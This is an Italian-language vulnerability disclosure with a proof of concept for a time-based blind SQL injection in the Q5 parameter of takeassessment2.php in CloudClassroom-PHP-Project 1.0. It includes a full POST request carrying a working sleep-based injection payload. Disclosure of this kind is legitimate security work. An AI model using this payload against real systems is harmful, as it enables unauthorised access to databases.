
Prova di concetto per una vulnerabilità di SQL injection blind basata sul tempo nell'endpoint takeassessment2.php di CloudClassroom-PHP-Project 1.0, che dimostra lo sfruttamento remoto tramite una richiesta POST appositamente modificata.
Una vulnerabilità di SQL Injection esiste nell'endpoint takeassessment2.php del CloudClassroom-PHP-Project 1.0, dove il parametro POST Q5 viene incorporato direttamente nelle istruzioni SQL senza sanificazione.
Tipo di vulnerabilità :
SQL Injection
Fornitore del prodotto :
https://github.com/mathurvishal/CloudClassroom-PHP-Project
Base di codice del prodotto affetto :
https://github.com/mathurvishal/CloudClassroom-PHP-Project 1.0 - https://github.com/mathurvishal/CloudClassroom-PHP-Project 1.0
Componente affetto :
takeassessment2.php, parametro POST Q5, logica della query SQL
Vettori di attacco :
Per sfruttare questa vulnerabilità, un attaccante invia una richiesta POST dannosa a /CloudClassroom-PHP-Project-master/takeassessment2.php con un payload nel parametro Q5 che provoca un ritardo temporale nell'elaborazione SQL (blind time-based SQLi).
Richiesta POST:
POST /CloudClassroom-PHP-Project-master/takeassessment2.php?exid=4 HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded
Q1=555&Q2=555&Q3=555&Q4=555&Q5=5550'XOR(555*if(now()=sysdate(),sleep(6),0))XOR'Z&done= Ciò causa un ritardo di 6 secondi nella risposta, confermando la vulnerabilità.
Riferimento :
https://owasp.org/www-community/attacks/SQL_Injection
Scopritore : saurabh solanki